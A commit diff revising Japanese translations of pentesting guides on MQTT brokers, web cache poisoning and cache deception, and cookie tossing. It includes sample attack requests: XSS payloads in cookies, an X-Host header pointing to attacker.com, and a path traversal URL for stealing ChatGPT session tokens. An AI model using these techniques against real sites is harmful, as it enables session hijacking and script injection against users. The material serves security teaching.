Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui

This commit is contained in:
Translator 2025-03-24 11:34:37 +00:00
parent 1a557b3a41
commit 0e9acf0619
4 changed files with 161 additions and 155 deletions

View File

@ -4,7 +4,7 @@
## 基本情報
**MQ Telemetry Transport (MQTT)** は、極めてシンプルで軽量な **publish/subscribe メッセージングプロトコル** として知られています。このプロトコルは、デバイスの能力が限られている環境や、低帯域幅、高遅延、または信頼性の低い接続が特徴のネットワークでの運用に特化しています。MQTTの主な目的は、ネットワーク帯域幅の使用を最小限に抑え、デバイスリソースへの要求を減らすことです。さらに、信頼性のある通信を維持し、一定の配信保証を提供することを目指しています。これらの目標により、MQTTは急成長している **機械間通信 (M2M)** および **モノのインターネット (IoT)** の分野に非常に適しています。ここでは、多数のデバイスを効率的に接続することが不可欠です。さらに、MQTTはモバイルアプリケーションにとっても非常に有益であり、帯域幅とバッテリー寿命を節約することが重要です。
**MQ Telemetry Transport (MQTT)** は、極めてシンプルで軽量な **publish/subscribe メッセージングプロトコル** として知られています。このプロトコルは、デバイスの能力が限られている環境や、低帯域幅、高遅延、または信頼性の低い接続が特徴のネットワークで動作するように特別に設計されています。MQTTの主な目的は、ネットワーク帯域幅の使用を最小限に抑え、デバイスリソースへの要求を減らすことです。さらに、信頼性のある通信を維持し、一定の配信保証を提供することを目指しています。これらの目標により、MQTTは急成長している **機械間通信 (M2M)** および **モノのインターネット (IoT)** の分野に非常に適しています。ここでは、多数のデバイスを効率的に接続することが不可欠です。さらに、MQTTはモバイルアプリケーションにも非常に有益であり、帯域幅とバッテリー寿命を節約することが重要です。
**デフォルトポート:** 1883
```
@ -30,13 +30,15 @@ For instance, if the broker rejects the connection due to invalid credentials, t
**認証は完全にオプションです** そして、認証が行われている場合でも、**デフォルトでは暗号化は使用されません**資格情報は平文で送信されます。MITM攻撃は依然として実行可能で、パスワードを盗むことができます。
MQTTサービスに接続するには、次のものを使用できます: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) そして、次のようにしてすべてのトピックに自分を購読します:
MQTTサービスに接続するには、[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell)を使用し、次のようにしてすべてのトピックに自分を購読させることができます:
```
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
```
あなたは次のものを使用することもできます:
あなたはまた、[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)を使用することができます。
あなたはまた、次を使用することができます:
```bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
@ -71,28 +73,24 @@ client.loop_start()
if __name__ == "__main__":
main()
```
## さらなる情報
### The Publish/Subscribe Pattern <a href="#b667" id="b667"></a>
ここから: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
publish/subscribeモデルは以下で構成されています
### パブリッシュ/サブスクライブパターン <a href="#b667" id="b667"></a>
- **Publisher**: ブローカー内の1つまたは複数のトピックにメッセージを公開します。
- **Subscriber**: ブローカー内の1つまたは複数のトピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。
- **Broker**: パブリッシャーからサブスクライバーへのすべてのメッセージをルーティングします。
- **Topic**: スラッシュ(例:/smartshouse/livingroom/temperatureで区切られた1つ以上のレベルで構成されています。
パブリッシュ/サブスクライブモデルは以下で構成されています:
### Packet Format <a href="#f15a" id="f15a"></a>
- **パブリッシャー**: ブローカー内の1つまたは複数のトピックにメッセージを公開します。
- **サブスクライバー**: ブローカー内の1つまたは複数のトピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。
- **ブローカー**: パブリッシャーからサブスクライバーへのすべてのメッセージをルーティングします。
- **トピック**: スラッシュ(/で区切られた1つ以上のレベルで構成されています例: /smartshouse/livingroom/temperature
### パケットフォーマット <a href="#f15a" id="f15a"></a>
すべてのMQTTパケットには固定ヘッダーが含まれています図02。図02: 固定ヘッダー
すべてのMQTTパケットは固定ヘッダーを含みます図02。図02: 固定ヘッダー
![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png)
### パケットタイプ
### Packet Types
- CONNECT (1): クライアントがサーバーへの接続を要求するために開始します。
- CONNECT (1): クライアントによってサーバーへの接続をリクエストするために開始されます。
- CONNACK (2): サーバーの成功した接続の確認。
- PUBLISH (3): クライアントからサーバー、またはその逆にメッセージを送信するために使用されます。
- PUBACK (4): PUBLISHパケットの確認。
@ -102,11 +100,11 @@ main()
- SUBSCRIBE (8): クライアントがトピックからメッセージを受信するリクエスト。
- SUBACK (9): サーバーのSUBSCRIBEリクエストの確認。
- UNSUBSCRIBE (10): クライアントがトピックからのメッセージ受信を停止するリクエスト。
- UNSUBACK (11): サーバーのUNSUBSCRIBEリクエストへの応答。
- UNSUBACK (11): UNSUBSCRIBEリクエストに対するサーバーの応答。
- PINGREQ (12): クライアントによって送信されるハートビートメッセージ。
- PINGRESP (13): ハートビートメッセージに対するサーバーの応答。
- DISCONNECT (14): クライアントによって接続を終了するために開始されます。
- 0と15の2つの値は予約されており、その使用は禁止されています。
- 0と15の2つの値は予約されており、その使用は禁じられています。
## Shodan

View File

@ -15,17 +15,17 @@
キャッシュポイズニング攻撃の実行にはいくつかのステップがあります:
1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を見つけることです。
3. **汚染されたレスポンスがキャッシュされることを確認**:最後のステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
1. **キーなし入力の特定**:これらは、リクエストがキャッシュされるために必須ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーなし入力の悪用**:キーなし入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータをどのように誤用するかを考えることです。
3. **汚染されたレスポンスがキャッシュされることを確認**:最ステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
### 発見HTTPヘッダーを確認
通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。どのヘッダーに注意を払うべきかは、この投稿で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 発見:キャッシュエラーコード
レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。
レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると良いでしょう。これには**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかりますDoSを実行することも可能です
さらにオプションを見つけることができます:
@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
ただし、**これらの種類のステータスコードがキャッシュされないこともある**ため、このテストは信頼できない可能性があります。
### 発見:キーのない入力を特定し評価する
### 発見:キーなし入力を特定し評価する
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
```html
@ -45,18 +45,18 @@ cache-poisoning-to-dos.md
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますかXSSを実行する、またはあなたが制御するJSコードを読み込むDoSを実行する...
### 応答をキャッシュさせ
### 応答をキャッシュ
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**どのように**悪用するかが分かったら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**を決定したら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回そのリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加ヘッダー**を**示すため**に使用されることがよくあります。したがって、ユーザーがターゲットとしている被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがないにもかかわらず、**キャッシュキーの一部**として扱われる**追加ヘッダー**を**示すため**にしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。なぜなら、それらのいくつかは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
## 悪用の例
@ -77,19 +77,27 @@ _Note that this will poison a request to `/en?region=uk` not to `/en`_
cache-poisoning-to-dos.md
{{#endref}}
### Cache poisoning through CDNs
**[この書き込み](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下の単純なシナリオが説明されています:
- CDNは`/share/`以下のすべてをキャッシュします。
- CDNは`%2F..%2F`をデコードまたは正規化しないため、**他の機密情報にアクセスするためのパストラバーサルとして使用できる**、例えば`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`のように。
- ウェブサーバーは`%2F..%2F`をデコードおよび正規化し、`/api/auth/session`で応答します。これには**認証トークン**が含まれています。
### Using web cache poisoning to exploit cookie-handling vulnerabilities
クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。
クッキーはページの応答に反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュ応答を読み込む複数のクライアントでXSSを利用できる可能性があります。
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。
注意:脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。
### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
確認してください
確認:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@ -97,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、CloudflareがURLを正規化することなくキャッシュされます。これはリクエストがウェブサーバーに到達したときに行われました。
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
これについて以下でもより詳しく説明されています:
これは以下でもより詳しく説明されています:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme``http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する**必要があります。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme``http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
```
### 限定された `Vary` ヘッダーを利用した攻撃
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を外部に流出させ、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -125,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -136,17 +144,17 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### パラメータクッキング
### パラメータクッキング
例えば、**パラメータ**をrubyサーバーで**`;`**の文字を使って**`&`**の代わりに分けることが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ、悪用することができます。
例えば、**パラメータ**を**`&`**の代わりに**`;`**文字を使用してrubyサーバーで分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTPキャッシュポイズニングの悪用
[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)の実方法について学びましょう。
[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)の実方法について学びましょう。
### Webキャッシュポイズニングの自動テスト
### Web Cache Poisoningの自動テスト
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
@ -156,7 +164,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました(フラグメントは無視されます)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみした。
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視されます)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。
### GitHub CP-DoS
@ -166,9 +174,9 @@ content-typeヘッダーに不正な値を送信すると、405キャッシュ
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
### RackミドルウェアRuby on Rails
### Rack Middleware (Ruby on Rails)
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否DoSを引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれることになり、セキュリティリスクが生じます。
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否DoSを引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
### 403とストレージバケット
@ -176,15 +184,15 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
### キー付きパラメータの注入
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
### ユーザーエージェントルール
一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
### 不正なヘッダーフィールド
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字:`\`を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーはこの標準に常に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字`\`を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
### 新しいヘッダーの発見
@ -192,26 +200,26 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
## キャッシュデセプション
キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報と共に読み込ませる**ことです。
キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
まず、**拡張子**(例:`.css``.js``.png`など)が通常**キャッシュに保存される**ように**設定されている**ことに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
まず、**拡張子**(例:`.css``.js``.png`など)が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
他にテストすること:
他にテストするべきこと:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _あまり知られていない拡張子を使用する(例:`.avif`_
- _あまり知られていない拡張子`.avif`を使用する_
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
非常に明確な別の例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
**キャッシュプロキシ**は、ファイルの**拡張子**_.css_に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)の実方法について学びましょう。
[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)の実方法について学びましょう。
## 自動ツール

View File

@ -13,22 +13,23 @@ Cookies Hackingセクションで示されたように、**クッキーがドメ
これは危険であり、攻撃者は次のことができるかもしれません:
- **被害者のクッキーを攻撃者のアカウントに固定する**ので、ユーザーが気づかない場合、**攻撃者のアカウントでアクションを実行します**。攻撃者は興味深い情報を取得できるかもしれません(プラットフォームでのユーザーの検索履歴を確認する、被害者がアカウントにクレジットカードを設定する...)。
- **被害者のクッキーを攻撃者のアカウントに固定する**ことができるため、ユーザーが気づかない場合、**攻撃者のアカウントでアクションを実行します**。攻撃者は興味深い情報を取得できるかもしれません(プラットフォームでのユーザーの検索履歴を確認する、被害者がアカウントにクレジットカードを設定する...)。
- この[例はこちらにあります](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/)、攻撃者が被害者が**gitリポジトリへのアクセスを認証するために使用する特定のセクションに自分のクッキーを設定した**ため、攻撃者のアカウントからアクセスされます。
- **クッキーがログイン後に変更されない場合**、攻撃者は単に**クッキーを固定(セッション固定)**し、被害者がログインするのを待ってから**そのクッキーを使用して被害者としてログインします**。
- 時には、セッションクッキーが変更されても、攻撃者は以前のものを使用し、新しいものも受け取ります。
- **クッキーが初期値を設定している場合**Flaskのように、**クッキー**が**セッションのCSRFトークン**を**設定**し、この値が被害者がログインした後も保持される場合)、**攻撃者はこの既知の値を設定し、それを悪用することができます**(そのシナリオでは、攻撃者はCSRFトークンを知っているため、ユーザーにCSRFリクエストを実行させることができます
- **クッキーが初期値を設定している場合**flaskのように、**クッキー**が**セッションのCSRFトークン**を**設定することができ、この値は被害者がログインした後も保持される)、**攻撃者はこの既知の値を設定し、その後悪用することができます**そのシナリオでは、攻撃者はユーザーにCSRFリクエストを実行させることができます
- 値を設定するのと同様に、攻撃者はサーバーによって生成された認証されていないクッキーを取得し、そこからCSRFトークンを取得して使用することもできます。
### クッキーの順序
ブラウザが同じ名前の2つのクッキーを受け取ると、**同じスコープ(ドメイン、サブドメイン、パス)に部分的に影響を与える**場合、**ブラウザはリクエストに対して両方のクッキーの値を送信します**。
どちらが**最も特定のパス**を持っているか、またはどちらが**古いもの**であるかに応じて、ブラウザは**最初にクッキーの値を設定し**、次に他の値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
どちらが**最も特定のパス**を持っているか、またはどちらが**古いもの**であるかに応じて、ブラウザは**最初にクッキーの値を設定し**、次に他のクッキーの値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
ほとんどの**ウェブサイトは最初の値のみを使用します**。したがって、攻撃者がクッキーを設定したい場合は、別のクッキーが設定される前に設定するか、より特定のパスで設定する方が良いです。
> [!WARNING]
> さらに、**より特定のパスにクッキーを設定する能力**は非常に興味深いものであり、**被害者がそのクッキーで作業することができるのは、悪意のあるクッキーが設定された特定のパスを除いて、先に送信されることになります**
> さらに、**より特定のパスにクッキーを設定する能力**は非常に興味深いものであり、**被害者が自分のクッキーを使用することができるようにし、悪意のあるクッキーが設定された特定のパスではそのクッキーが先に送信される**ことになります
### 保護バイパス
@ -40,7 +41,7 @@ Cookies Hackingセクションで示されたように、**クッキーがドメ
cookie-jar-overflow.md
{{#endref}}
もう一つの有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。
の有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。
### クッキーボム
@ -54,8 +55,8 @@ cookie-bomb.md
#### **クッキー名にプレフィックス`__Host`を使用する**
- クッキー名にこのプレフィックスがある場合、**Secureとしてマークされ、セキュアなオリジンから送信され、Domain属性を含まず、Path属性が/に設定されている場合にのみ**Set-Cookieディレクティブで受け入れられます。
- **これにより、サブドメインがクッキーを頂点ドメインに強制することが防止されます。これらのクッキーは「ドメインロック」されたものと見なされる可能性があります。**
